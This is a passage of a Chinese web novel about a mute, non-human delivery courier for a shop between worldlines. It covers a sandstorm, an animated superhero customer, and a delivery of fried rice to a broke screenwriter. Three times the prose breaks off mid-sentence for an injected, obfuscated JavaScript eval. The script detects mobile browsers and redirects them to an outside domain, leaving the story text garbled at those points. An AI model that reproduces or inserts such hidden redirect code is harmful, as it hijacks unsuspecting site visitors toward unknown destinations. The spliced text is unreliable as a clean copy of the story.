既然如此,我也走了。这一趟虽然只有两单,但两单都遇到突发事件,着实有些不顺。回去的路上,踏板摩托哼哼唧唧,一副随时要熄火的样子,害得我一路提心吊胆,做好了推车徒步的准备。 好不容易跑完了世界线的隧道,一推开门,视野“呼”的一暗,猛烈的气旋夹裹着沙土迎面扑来。碎石和沙粒飞快地灌进我的眼睛、鼻子,和来不及闭上的嘴巴。一瞬间,我的身上脸上头发和衣服都覆盖了一层薄土——最糟糕的情况发生了,风暴来了。 这里是世界线交汇的死角,除了泥土和砂石什么都没有。那么最初的泥土和砂石是从哪儿来的?我问过K,他说,每当有新的世界线诞生,或者在多条世界线并轨发生异常的时候,因果律会因动荡产生裂缝,裂缝中会生成飓风,那些原本组成故事中世界的部分(比如一些被删除的段落,一些存在矛盾的剧情,一部分角色共有的记忆)就化为尘土,被暴风吹来这里。 听他说的意思,也许这块空间本来就是由这些尘土堆积而成的,没有世界线的风暴就不会有这里。但这并不表示我会对风暴感恩戴德。这种天气下,视野几乎为零,骑着摩托前进是非常危险的。离开隧道后,我赶紧就近找到一块稍大的岩石,把踏板摩托停在身前,后背紧紧贴着石块坐下,蜷起身体,把四肢都缩进衣服里,脸也埋进衣领,尽可能地减缓水分流失。不知道这一次的风暴要刮多久,每次风暴的持续时间都不一样,它可能下一秒就会停,也可能会不休止地刮上三天。漫天黄沙中,我看到几道蓝白的光束穿过远处的云层,蜿蜒折转,依稀勾勒出东方龙的形状;看来有新的故事要在交汇中诞生了。 过了不知多久,我半身都快被埋在土里的时候,风暴稍微减弱了一些,视野恢复到十米左右,能看到眼前的路了。我从沙土里站起来,同时把全身的皮肤都转换成树皮,增加一点聊胜于无的防御力,然后骑上踏板摩托出发了。接下去什么都有可能发生,我得趁着现在情况有所好转,赶紧回到店里。 开到半途,风沙又变大了,视野一片昏黄,沙子灌进头盔,又顺着头发流进衣领。我犹豫是停下来再避一避,还是加快速度冲回店里。K的店是这里唯一的建筑物,也是每次风暴袭来时唯一安全的躲避处。考虑3秒之后,我加大油门,催动摩托快速前进。 终于,小店破破烂烂的轮廓出现在风沙中,招牌在风中上下翻飞,像正在被鲨鱼追逐的泳者的手掌。我再次提速,但发动机“轰”的一声,彻底熄火。我赶紧翻身下车,推着它朝店门快速冲去。短短几十米的路,我不下五次差点连人带车被风掀翻。好不容易蹚着沙子到了店门口,我放下车推开门,又是一股强风扑面而来。 “谁来了?关门!快点!”是K的声音。可店里也是一片沙黄色,我一时看不到他在哪儿。我用最快的速度闪进屋子,反手把门推上,再用背使劲一靠,终于顶着风压关上了大门。 屋子里的风势稍微减弱了,我这才看到店里的地上严严实实盖了一层黄沙,还不断有沙子从墙壁,窗口,天花板上漏进来。有两个人一左一右地守在店里唯二的窗前,一个蹲着一个攀着,正争分夺秒地往墙上的裂缝里钉木板。这房子确实很破旧,各处都有许多裂缝,但也很少出现像这样到处漏风漏沙子的情况。 “怎么才回来?赶紧来帮忙!”K头也不回地朝我喊道。 我点头,又朝另一边看去。以过道为分界线,那半边的店面成了2D动画画风,色彩简洁,线条干练,看来是正好有客人在店里,所以帮着K一起修房子。 正在敲钉子的年轻男人转过头来。他穿了一身暗蓝色的紧身软甲,一头蓬松的褐色卷发配上翡翠色的眼睛,薄荷巧克力的颜色。他朝我笑了笑,又转头继续干活。 那个笑法让我觉得有些眼熟,可能是超级英雄的常用笑法之一,管他的。在K再次催促之前,我快步走到另一处漏风的裂缝前,伸手一戳,用手指堵住裂缝最宽的部分,然后凝神用力,两束藤蔓从我的手指两侧长出,顺着裂开的口子迅速攀附蔓延,膨胀,转眼就填上了那道缝;沙子漏不进来了。 在那两个男人还在“叮叮当当”的时候,我用同样的方法补好了一面墙,另一面墙,还踩着桌子补好了天花板。看他们敲个没完没了,我又顺手帮他们填上了剩下的破洞。房子终于不漏风了。K站在屋子中间,四下端详了一会儿,把锤子一扔,什么也没说,走回他的厨房去了。 我脱下外套,抖掉口袋里的沙子,把AP0813的两张签收单递给他。他又指使我扫地,擦桌,掸掉各处的沙子,总之就是不能闲着。我假装没听见,扭头去找我的电视机。以前店里可没进过风沙,要是电视机被弄坏了就糟了。我转了一圈没找到它,正准备蹲下来从土里挖挖看,地面突然变成了平整的色块,紧接着,脚步声的音效单薄又突兀地响起。我抬头一看,那个薄荷巧克力走过来了。 我的身体也“呼”的扁了,变成一张薄薄的图片。我感觉他有什么要说,就蹲在地上抬头盯着他看。他又笑,有什么好笑的? 薄荷巧克力不笑了,挠挠头,从紧身软甲的斗篷里掏出一个东西来——是我的电视机。它安然无恙,甚至可能因为画风的关系,看上去还新了一些。 我惊讶得一愣。薄荷巧克力又把它朝我递了递,我赶紧站起来接过,朝他比了个“谢谢”的手势。 他用手回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389614|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一个“不用谢”。 怎么回事?他也不会说话?今天尽遇上不会说话的了? “你又忘了他了?”K从厨房里探出头来,“上次来的时候,还是漫画呢,现在已经有动画片了——不过是小成本的网络动画,一集5分钟,只有几个主角有台词,所以他暂时还说不了话。” 薄荷巧克力腼腆地笑笑,挠了挠头。 我回忆了一下,细节记不清了,但似乎是有这么回事,于是又朝他比了一个“加油”,然后盯着他仔细看了两眼。他的长相比之前漫画时期丑了一些,五官都有些走样,衣服的装饰也变少了。小成本动画嘛,也可以理解。不过话又说回来,像今天这样的暴风天,他要还是漫画,那才是帮了大忙——至少能保证半间屋子是静态的,漏不了多少沙子。 薄荷巧克力又不笑了,也不挠头,转过脸抿起嘴,似乎有些难过——怎么回事,他不会真的能读心吧?我赶紧把电视机放下,走到一边,摒除杂念专心扫地。没划拉几下,我听到K说“慢走”,转身一看,薄荷巧克力站在门口朝我笑着挥挥手,离开了。 屋子外的风声变弱了,漫天的黄沙也逐渐淡去,天空又露出鲜亮的紫红色。我打扫完了店铺,刚要出门倒沙子,看到薄荷巧克力的脚印还留在门口。说起来,他走的时候,我是不是也笑一下比较好?光巨人也在道别的时候笑(形式上的笑),林雅婷也是;工作的时候,我一般都是直接转身走了,很少与人正式道别——难道“笑”是人类的道别仪式吗? 这样看来,“笑”的功能比我以为的要复杂得多。电视机里的女主角高兴了会笑,生气了也会笑,难过的时候边哭边笑,看见喜欢的人笑,看见讨厌的人也笑,男主角和人动手打架前还要笑一笑——那他们怎么确定,对方现在的“笑”是什么意思?是“很高兴见到你”,还是“我要走了再见”?难怪人类总是有那么多误会,光是一个表情就有各种含义,真麻烦。 可惜,我没见过她笑起来的样子,不然现在还能有个参考。我摸了摸脸,猛然发现摸到的是树皮——是了,回店里的路上,为了抵御风沙,我把全身的皮肤都转换成树皮,刚才一直在忙,也忘了换回来……难道薄荷巧克力笑的是这个? 我莫名觉得有些懊恼,往门外一桶一桶倒沙子的时候,顺便把皮肤变了回来。店里要是有镜子就好了,不然我还能早点发现这回事。但K从来不照镜子,看见我拿摩托车的后视镜照脸,他还会嘲讽我,说我不是人,还学人样。我知道人是哺乳动物,我既不需要哺乳,也不能算是动物,我的骨骼不是磷和钙,肌肉也不是蛋白质。但那又怎么样,只要我想,人能做到的事,我都能做到,人做不到的事,我也能想办法做到——房子漏了,我还能堵住裂缝,K就不行吧?没用的东西。 倒完沙子回到店里,我一瞥眼看到有把椅子的靠背裂开了,顺手长了条小细藤把它补起来。K正好从厨房里探出头来,看见椅子被我修好,“哟”了一声:“干得不错嘛。” 真难得,他居然会夸奖我,是不是哪里出了问题。 “没想到你还有点用处。”说完这一句,K又转回厨房去了。 我就说,人类很复杂,短短两句话,就能让我感觉又被夸了又被骂了。 9.她的炒饭和烤肠 风暴彻底停息是一天后的事。K出门了,每次风暴结束他都会短暂离开店里,过个半天再回来,不知道去了哪儿,他不会说,我也没兴趣问,管他的。趁他不在,我准备修理一下熄火的踏板摩托。我能修好墙壁,却完全不懂怎么修摩托。不过,把东西弄坏的原理全世界都一样,无非是把完整的掰碎,把崭新的弄旧,把干燥的打湿,把连续的掐断,把有序的抹乱——那么只要反其道而行之,就能把东西修好。事实上,我只是把边边角角的沙子都清干净,又把发动机擦了擦,上了点儿机油,踏板摩托就又能哼哼唧唧地点火了。 我得意洋洋,可惜没人见证,只好自我欣赏了一会儿,就收起工具回到店里。刚一进门,正好听到电话铃炸响,我想都没想,直接过去接起厨房吧台上的电话。 那一头传来一个年轻女人的声音:“喂,喂?” 我愣住了。 我为什么要接电话? 为什么要接电话? 为什么,接电话? …… 我根本没法说话啊。 电话那头的女人“喂”了好几下,我拍手,又敲桌子,试图让她知道有人接听,却只换来她自言自语“怎么回事”“信号不好”。 不过,如果是经常点单的老客,应该会知道店里的情况,猜到是我接的电话吧?我涌起一线希望。 电话那头继续自言自语:“这名片也不知道哪儿来的……什么奇奇怪怪的电话号码……” ——不是老客,可以说是毫无办法。我考虑再三,决定挂断,就当无事发生,K如果回来问起,我就说我不在店里。 “喂喂?有人在听吗?”电话里的女人又说话了,“我忙了一整天……也可能是两天?反正……一口饭都没吃上,回过神来已经快要饿死了……现在手头还有工作,走不开……能不能麻烦你们快点送来?” 她的声音确实听起来十分疲倦,有气无力的,好像下一秒就要晕倒。我本想挂了电话,又怕她真的饿死在不知名宇宙的某处——万一是那种使用能力会消耗大量体能的超级英雄(比如那个跑得很快的小伙子),吃不上饭可是很严重很危险的情况。 “有人吗?喂?”她的声音带了一点焦躁。 我想起电视剧里,女主角生气不想说话的时候,会从鼻子里哼气。不知道这一声“哼”是不是声带振动发出的,但眼下也只能试试。我立刻把话筒提到鼻子旁边,猛吸一口气,又使劲喷出——没有,既没有“哼”也没有“嗯”,对面又嘟囔了一句:“怎么接了电话不出声……” 怎么办?怎么才能让她知道我在听? 这样下去,她该不会打着电话就饿晕了吧? 说来说去……K怎么还不回来? 一想到这个人,我下意识地皱眉,咬起牙关,舌头在齿间一弹,嘴里发出了“啧”的声响。 “哎呀……这不是有人吗,”电话里的女人说,有气无力地带了点怒意,“半天不出声,怎么还不耐烦了。” 有用!虽然不太礼貌,但我继续“啧”。 “在听吗?我要点单……你们怎么连菜单都没有……”女人的声音越来越弱,像被拉长的蛛丝,“算了,我要……我要大份海鲜炒饭,不要辣……加个烤肠……能送个饮料吗?下次还点你家……” 我“啧”了一声,表示知道。 “好好……饮料不送就不送吧,”女人说,“炒饭给我加急……文阳路20号4幢501,我真的要饿死了……” 最后一个字传出,电话被挂断,听筒里响起“嘟——嘟——”的脉冲音。我怕自己把那堆断断续续说的话忘了,赶紧拿了纸笔来记下:大份海鲜炒饭,不要辣,加烤肠,送饮料,地址是—— 我愣了一下。 她报上的地址不是坐标,也没有注明世界线。 所以,是哪个宇宙,哪个世界,哪个文阳路的20号4幢501? 我还在发愣,K回来了,在我刚扫干净的地板上踩了一串土脚印,还边走边掸衣服,把沙子掸得到处是。我指指电话机,把刚才那个电话的事告诉他,又把纸条给他看,两只手比比划划。他眯起眼睛:“看不懂你在说什么。” 连这都看不懂,笨蛋玩意。 我把纸条举到他面前,手指戳着那个地址点了又点。他这才反应过来:“下次我不在的时候,你别接电话。” 说的是这回事吗? 我又使劲点地址,指指外面,指指天,指指地,“啪”地合掌,再摊手耸肩。终于,K明白了我的意思:“没事,你把这个地址写到门板上就行了。就算不同世界线有重复的地址,同一时刻,整个宇宙里只有一个4幢501能打通这里的电话。你照着写就行了,门会引导你前往正确的地方。” 说完,他把纸条往吧台上一放,走进厨房,开始做饭。 我扒在吧台上,使劲朝他打手势:“加急,加急!”可他看都没看我一眼,径直开了冰箱一顿翻找,拿出来一些虾蟹贝壳鱿鱼之类的东西,又是切,又是剁,又是剥,又是泡水。旁边的饭锅里飘着一股饭香——奇怪,这个锅子刚刚就在煮饭吗?怎么说熟就熟了? “烤肠!”虽然手头在忙,K也没忘了指使我干活。 行吧。我也走进厨房,把烤架点上,再从冰箱里拿出烤肠,拣了一根,放到烤网上。这个小烤架是炭火的,果木炭。K以前还吓唬我,要是我不听话,就把我也烧成碳。这种鬼话我从来不信——他怎么可能舍得把我拿去烧炭?他肯定是优先考虑把我卖到黑市。 我弄烤肠的时候,K已经处理完了海鲜炒饭的海鲜,又从柜子里搬出一口大铁锅,非常大,半圆形的,把我切一切说不定也能装得下。我还是第一次看到他拿出这个来。他把大锅往灶台上一架,又拿了惯常用的小锅,开了火,喷上一点油,把刚刚摘掉的虾头蟹脚之类的零碎扔进锅里一顿翻炒。油脂被加热后激发出海鲜的香味,连虾壳都冒出美妙的鲜香。 差不多同时,那口大铁锅也热好了。K关了小锅的火,捞出虾头蟹脚,把锅底的油倒进大锅,另一只手端起处理好的海鲜,沿着半圆形的锅底慢慢地滑入。他的动作已经很轻缓了,但滴着水的海鲜一接触到热油,还是“哧啦啦”的腾起一阵白烟。虾变红了,鱿鱼变卷了,蟹肉和贝肉裹上了油亮亮的汁水。K一边挥铲子,一边头也不回地指使我:“盛饭!” 行吧。我放下已经开始“吱吱”冒油的烤肠,转去饭锅那边。米饭已经不那么热了,一粒一粒闪闪发亮。我用饭勺翻弄了几下,想起那个女人说的“大份海鲜炒饭”,又看看K的大铁锅,和那些海鲜的份量,盛了满满一大盘饭。 我把米饭递给K。他接过去,用锅铲一点一点把饭扒进锅里,和海鲜一起翻炒几下,又腾出一只手来,往锅里加入一些香料和酱汁。我不知道这些东西的具体成分,但闻起来应该有些植物磨成的粉末。这些东西一下锅,香气变得更复杂,更浓郁,米饭也被染成油光锃亮的金黄色。K把灶火开大,一手握着锅铲,一手握着铁锅的把手,小臂往前一送,一抬,锅里的炒饭几乎腾空而起。米粒虾仁贝肉鱿鱼卷们在火舌里一滚,黄澄澄的翻卷出一道海浪似的弧线,又稳稳落回锅里。 这是什么技巧?和这口大铁锅一样,我也是第一次看见K的这番表演。这能让炒饭更好吃吗?我想了想,从原理上讲,颠锅会让米粒的受热更加均匀,变得更加干燥松散,提升炒饭的口感。不过,这连锅带饭的,少说也有十几斤,要颠起来应该不是件容易的事。 “烤肠!”K又发话了,说话的同时还连续把锅颠了好几下。 行吧。我想起几乎被我遗忘的烤肠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412366|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭头一看,肠衣已经烤成了半透明的焦黄色,正“噗噗”吐油泡。我赶紧把它从烤架上拿下来,放到一边,晾去多余的油分。 K的炒饭也出锅了,热腾腾地装了满满一个大饭盒。K把饭盒放进送货的餐盒里,加上烤肠和送的饮料(一罐不太冰的汽水),又放进一双筷子——筷子?他已经知道要去的是用筷子吃饭的地方了?我所能想到的用筷子吃饭的世界,似乎只有AP0813,就算有别的,也是在那附近的派生世界。 K又接着往餐盒里放了勺子和叉子——好吧,是我想多了。 照着纸条轻点了餐盒里的东西之后,K把餐盒朝我一推:“赶紧送,别把人饿死了。” 这家店落在世界线交汇的死角,时间流逝的速度与别处不同。但我出发之后,时间的流速就会逐渐与目的地同步,直到抵达。所以现在要开始加速了。 我背起餐盒出门,跨上刚修好的摩托(啧,忘了跟K炫耀),扣上头盔,拧动油门。踏板摩托“轰隆隆”醒转,车头灯像揉眼睛似的闪烁几下,起步了。 因为刚刚经历了一场大风暴,外面的地形几乎全变了,沟壑被填埋,山坡被推平。那条唯一的道路不知所踪,多半是被埋在了沙子底下。我驾着摩托到处乱转,怎么也找不到门的位置。眼前只有一望无际的沙子,沙丘在阳光下起伏,像一汪银灰和玫瑰紫的干燥的静止的海面。我爬上一个略高的沙丘,朝远处望去。视线的尽头,依稀有什么东西在闪闪发光——是金属的光泽。我赶紧跳上摩托,朝着那个发光点驶去。 一段风沙满面的行驶后,我看到了那个发光点。它被压在一块石头底下,只有在沙丘上才能正好看到它从石块的缝隙里折射出的一丁点阳光。我试着抬了抬石头,很沉,纹丝不动;我又挖开下面的沙子,一个圆溜溜的熟铜门把手露了出来。 好消息:门找到了。坏消息:时间的流速加快了。 我使劲挖了几下沙子,不行,把手被石头压着,就算把门全挖出来,也必须把它搬走才能开门。我再次尝试抬起石头,它差不多有K那口铁锅那么大,我费尽全力,也只能把它抬高一条缝。 一条缝,足够了。 我把手指伸进缝里,催动芽尖生长。细幼的茎条从指尖抽出,贴上石块,接下去只要再用点力让它茁壮—— 不行,不管我怎么使劲,枝条始终又细又软,没有半点力量。一定是昨天在风暴里损失了大量水分,今天又一直忙这忙那,没顾上喝水。偏偏刚才忙着出门,也没带水,所以现在长不出强壮有力的枝条—— 不对,我带水了。 我猛然想起,餐盒里就有一瓶“客人要求赠送又放弃要求”的汽水。 现在情况紧急,而且她反正也不要了,那我拿来喝了也没有问题吧?K也说过,工作中只有两个前提,一个是安全,一个是准时。 为了安全准时,我拿出那瓶汽水,拧开,一仰头喝干。 除了舌面感觉到一点碳酸气泡的刺痛之外,整瓶水都是淡而无味,不知道人类的味觉能尝到什么滋味。但无论如何,身体获得了水分。我把瓶子放回餐盒,转身回到那块石头前,蹲下,伸手,枝条从五指的指尖迅速破出,飞快地钻入石头底下,交错重叠,承托起石块的重量。我再一使劲,它们瞬间膨胀成粗壮的茎干,我一抬手就把石头翻了过去。 整扇门都露出来了。窄窄的长方形,球形的熟铜门把,崭新的实木门板。我半跪下来,把纸条上的地址写在门板上,敲了三下。门后传来一声响动,有人问——“谁?” 这是从来没有过的事,门后不应该是世界线的隧道吗?我又敲了敲,门板后的世界寂静无声,和往常一样。 我试着拧开门把,门朝上打开了,里面是垂直落下的黑暗。我转头看看踏板摩托,背着餐盒跳了下去。 10.写剧本的 我朝门里跳下,就像一滴雨水落入井口。 一瞬间,黑暗覆盖了视野。下一瞬间,我碎裂了,融化了,形体仿佛在刹那间消失,我被分解成无数细小的碎片。我成了一捧被扬起来的沙子,一杯被泼出去的水,一口被呼出的热气。 但身体的感觉依然存在。双腿踩踏地面的触感,手指抓紧背带的触感,依旧真实,只是变得模糊,或者说,松散,身体好像变成了疏松多孔的珊瑚岩。我使劲吸气,黑暗中也有空气灌入胸腔。我试着转动眼球,看到有光从黑暗的缝隙里漏进来。 适应光线之后,我慢慢看清了四周的环境——这里并不是连接世界线的隧道。 这是一个陌生的空间,就像位于地底深处的洞穴,四面都是岩壁。离我最近的一侧垒着一层灰黑色的东西,像是石英岩,我抬手想去触摸,却发现伸出的手臂也是灰黑色的。 仔细一看,并不是手臂变成了灰黑色,是大量黑色的线条缠绕交叠,组成了手臂的形状。 我举起另一只手,也是同样,餐盒也是,头盔也是。原来那种松散的感觉来源于此,我变成一堆交缠的线条了。我又朝四周的石英岩望去,果然,它们也是由同样的黑色线条潦草地团在一起组成的。在我注视它们的时候,还有一些灰黑色的碎屑“扑簌簌”地掉落下来。 这就是这个世界的画风?这个故事是被第一次拿到笔的婴儿创造的? 不管怎样,先把工作完成。我确认了背上的餐盒——虽然材质变成凌乱的线头,但完好无损——然后朝前走去。我也不知道哪边是“前”,只是本能地循着光走。我的脚步往前推进,这个毛线团似的空间也跟着推进。我觉得自己好像变成了一块浮木,被风推着划过水面。并不是水被我切开,而是我被水包容。 走了一段之后,光线渐渐变得明亮。我朝前望去,看到有窗口似的边框把光线束拢,一丛影子挡在被捆成一束的光里。我大步跑去,脚下传来松脆的脚步声,“咔嚓”“咔嚓”,每一步都像掰断一片饼干。 逆光中的影子越来越近了,轮廓也越来越清晰。在我踩上那片影子的前一秒,影子朝我转过头来。 是个年轻的女人,或者说,大女孩。她穿了一件褪色的墨绿连帽衫,胸口的印花被洗得零零落落;一个咖啡色的塑料文件夹立在她的头顶,夹起几撮毛躁的额发。她盘腿坐在一张靠背椅上,沙滩短裤宽松到巨大。两只黄色泡沫拖鞋挂在她的脚尖,一只在她转头的瞬间掉了,另一只也摇摇欲坠。 是的,她是这里唯一拥有形体和色彩的存在。并且以她为中心的一小块范围内,椅子,书桌,桌上的台灯,乱放的书本纸笔和水杯……四周的物体显现出原本的样子。 所以,这个被黑色线条缠绕的岩洞,或许是她的房间? 她看着我,吃惊地瞪大眼睛,瞪得眼下两轮硕大的黑眼圈几乎要掉下来。她大张开嘴说了一句什么,我没听懂。她又说第二句,我的大脑终于适应了世界线的切换,为我翻译了这种陌生的语言。 她说:“怎么回事……你是人?” 与此同时,周围那些看上去像打了结的黑色线头在我眼中也突然变得清晰可辨。我意识到它们并不是无意义地缠绕在一起的。这些灰黑色的直线曲线按照规律排列,交叉,组合;它们是文字。我低头看了看自己,黑色的线条文字堆叠组成了我的身体,每一个部位都由大大小小的名词拼合而成:“指甲”,“手指”,“手掌”,“手腕”,“掰断枝条的节疤”……身体之上还有衣物,无数个代表材料和颜色的词语像网一样交织,覆盖在我同样由文字组建的躯干上。我又转过头,两旁是“墙壁”“涂料”“挂画”“细小的刮痕”,脚下踩着密密麻麻的“地板”“灰尘”“爬虫”“掉落的头发”。 原来我一路是踩着这些字走来的,怪不得脚步声变得像饼干一样松脆。 ——“你怎么进来的?”年轻的女人又开口了,音调慌张地提高。我回过神来,看到她放下了盘坐的双腿,绷紧身体,做出防御和躲避的姿态。我赶紧从背上取下餐盒,打开,要把她点的炒饭递给她。 “……你是那家店的?”我还没摸到炒饭,她的声音又从身后传来。我刚要转头,她突然站起来,一把抓住了我的手。 “你是人……真的是人?”惊讶和不置信的语气。 这问题让我不太高兴,听起来也不像是好话。我思考是直接把饭给她就转身走人,还是向她展示一下我拥有的人所不能及的能力—— “好神奇,”她突然又开口,“我能看到你的想法,就一个字一个字在你脸上滚过去!” ? 我转过身,看到她睁大眼睛盯着我。她比我矮了一个头,十分瘦小,既没有其他超级英雄们标配的可爱或英气的长相,也没有能拯救世界的强壮或灵活的身体——刚才她站起来的时候,我听见一声不太健康的脆响,“咔”,从她的膝盖发出来的。 ……等一下,她说她能看见我的想法? 面前的年轻女人沉了脸色。 “真抱歉,我不是你想的那种能拯救世界的超级英雄,”她说,“不漂亮,不强大,不健康,也没有光鲜亮丽的身份,甚至连能挣钱的工作都没有……我的意思是,暂时没能挣钱。” 她的话让我困惑了。她不是超级英雄?那为什么她能点餐?K明明说过,只有超级英雄本人,或者权限较高的管理员,才能打通店里的电话。 或许是这个世界还没有触发危机剧情,所以她还没有觉醒?毕竟她说了,自己没有工作,这一点就很符合超级英雄的条件——众所周知,为了平衡超级英雄们的强大设定,他们必须失去一些普通人惯常拥有的东西,比如父母、恋人、叔叔,或者一份平凡稳定的工作。 “应该不是你想的那样,”女人绷着脸说,“而且你的想法让我感到被冒犯。我有工作,只是我的工作暂时挣不了钱。” ……还是不要想太多事了。我吸一口气,试着心无杂念,就像我的兄弟姐妹们那样。 “但你说的事让我很好奇,你能不能仔细讲讲,”女人松开我的手,重新坐到椅子上,抱起膝盖,“超级英雄是指什么?是漫画和电影里的那些角色吗?穿着斗篷在天上飞的,在高楼大厦间荡来荡去的?他们能打电话点餐?你们还能为他们做饭?你们是什么店?地址在哪儿?这一份饭要多少钱?超级英雄都吃什么?不同货币餐标一样吗?有些设定在外太空的,你们也送?” 她已经全然没有了刚才惊慌的样子,反倒双眼发亮,抱着膝盖团着身体就像一只磕松子的时候误食了致幻蘑菇的松鼠。 但我不是松子。我略过了她的提问,继续刚才被打断的流程:放下餐盒,打开盖子,取出炒饭,放到她桌上。炒饭在我手中的时候还是一团黑乎乎的文字(“盘子”“米饭”“虾仁”“蟹肉”……等等),一接触到她身前的桌面,瞬间有了具体的图像;米粒油亮,虾仁红润,盘子里散发出热腾腾的香气。 ——说起来,刚才她抓着我的手的时候,我的身体依旧是文字,并没有具现化出固定的形态。我又拿手悄悄蹭了一下她的椅背,没有变化,手指还是“手指”。 “对,我看到的你是一段文字,”女人又突然开口,她一直盯着我的脸,“具体来讲,是文字组成的人形——猛一眼看,还挺吓人呢。刚才一转身看到房间里多了这么一个东西,我都要吓哭了!” ……心无杂念,心无杂念。我从餐盒里取出烤肠,以及筷子叉子勺子摆到桌上,希望她能看懂我的意思。 事与愿违,她更激动了。 “原来你不会说话!”女人再次抓住了我的手,“刚才我打电话是你接的?怪不得一直没声音!” 这叫什么话,我明明一直都在发出声音,是她太迟钝——刚想到这,我下意识地瞥了她一眼,她眯着眼睛朝我笑,傻乎乎的。 所以她既不是超级英雄,也不是管理员,到底为什么能打通电话? “我也不知道啊,”女人说,“我一直在赶稿,没顾上吃饭,反应过来的时候,低血糖发作,都快看不清东西了。想想上一顿饭可能是一天前吃的,摸索着想找点零食,结果在书堆里摸到你们店的名片——原来真能打通啊,我还以为是什么可疑的卡片呢。” 实事求是,确实挺可疑的……等一下,赶稿? 女人一下子挺起胸膛:“我是一个编剧,写剧本的!” 原来刚才说的“暂时赚不到钱”的工作是指这个。 女人脸上一红,松开抓着我的手,“啪”一声合上了桌上的笔记本电脑:“只是现在没赚到而已,事情发展总有个过程……将来我会写很多很多故事,拍很多很多电影。你随便走进一家电影院都能看到我的名字挂在海报上!当红的偶像明星为了演我的剧本抢破头!” 我明白了,虽然她不是超级英雄,但用超级英雄来类比的话,她现在就相当于一个无关紧要的路人,能力平平但满怀激情,刚刚拿到英雄执照,就梦想在中心广场有自己的雕塑,而现实却是每天都在给主角跑腿买热狗的那种,而且梦想越大,死得越快,剧情需要煽情铺垫的时候,首先就会考虑这样的角色——又平凡又努力,对世界充满天真的幻想,能让观众共情,一旦领了便当,下一次出场就是在主角的回忆里。我把烤肠放到桌上,又想起那罐饮料,有些后悔,要是刚才没有喝掉就好了,应该留给她,她比我更需要,哎。 “……干嘛,你是在同情我吗?你——你还喝了我的饮料?!”女人猛地转头瞪我。她的情绪在这几分钟里变了又变,连带着眉眼大起大落,挺有意思。 女人一下子收起表情了,若有所思地看着我。是我冒犯到她了吗,还是因为那罐饮料在生气?但如果当时我没喝水的话—— “你好像对超级英雄的故事非常了解,因为见过很多吗?”她开口道,“我从我的角度说说你的类比吧。你就像——就像那种看了很多流行小说,把著名台词经典剧情抄下来背下来反复品鉴,因为觉得写得太好了所以直接顺着作者架好的滑梯往下溜,放弃自我表达,角色的嘴是你的嘴,放弃独立思考,角色的脑子是你的脑子,明明过不上小说里的精彩人生,还试图用那套浓缩的简化的世界观来评判真实世界的中学生。超级英雄很伟大吗?很让人着迷?他们都是被我这样的人创造的,他们的生死成败都是被我这样的人安排的。确实,他们有时候会说些看上去很有道理的话,因为他们是意志的体现,也是思想的集合。可是用镀金扩音器说出的话,就一定是真理吗?长了张漂亮脸蛋,就做什么都是对的吗?用他们的声音说出来的,是他们自己的想法,还是有别人想借他们的口宣扬些什么?聚光灯和战斗服让他们看上去光鲜亮丽,鲜血和眼泪让他们好像有了活人的灵魂——但这些都改变不了他们只是木偶的本质,和他们被创造出来的初衷。” 说到这里,她突然停下了,又盯着我看了一会儿,眯眼笑了。 “饮料喝了就喝了吧,”她说,“你也挺可怜的。” 她一口气说了这许多,我听到一半,就觉得胸口好像有火烧了起来。这就是“生气”吗?又热,又闷。她不停地往下说,这把火从胸口一直蹿到头顶,连呼吸都不觉变得粗重了。我确实见过很多超级英雄,但并不如她所说,他们只是木偶和传声筒——不然,他们的伤口是被剧情安排的吗?眼泪也是拧开水龙头流出来的吗?如果结局早就被决定,那为什么还要战斗?他们口口声声的要努力,努力干什么?反正是正义必胜,观众和读者真的会被一眼望得到头的故事吸引吗?我相信我见到的人们都有自己的意志,没有人会情愿用生命给故事做铺垫,只是受制于世界线的规则—— 我愣了一下。原来如此,世界线的规则就是她说的“我这样的人”制定的,我瞬间想明白了一些事。他们亲手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429896|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给自己创造的角色钉上钉子,挂上提线,转头又嘲笑他们只是牵线木偶。 因为他们早就知道,这些漂亮的皮囊下填充的是什么? ……但是,她刚刚说的“初衷”又是指什么? 书桌突然晃动了一下。我回过神,看到一团小小的黑影从旁边闪出,一跃窜上桌面。女人“啊”了一声,赶紧起身挥手去驱赶。她的手臂一靠近,黑影立刻有了具象的形体——是一只猫,白色银虎斑。猫灵巧地避过她的手掌,圆滚滚的脑袋往下一点,叼起桌上的烤肠,一扭身跳下桌子,化作一团文字团聚而成的影子,跑远了。这一套动作行云流水,不像初犯。 女人又“啊”一声,懊恼的语气,然后转头朝我一望,又恢复了松鼠般湿润的眼神。 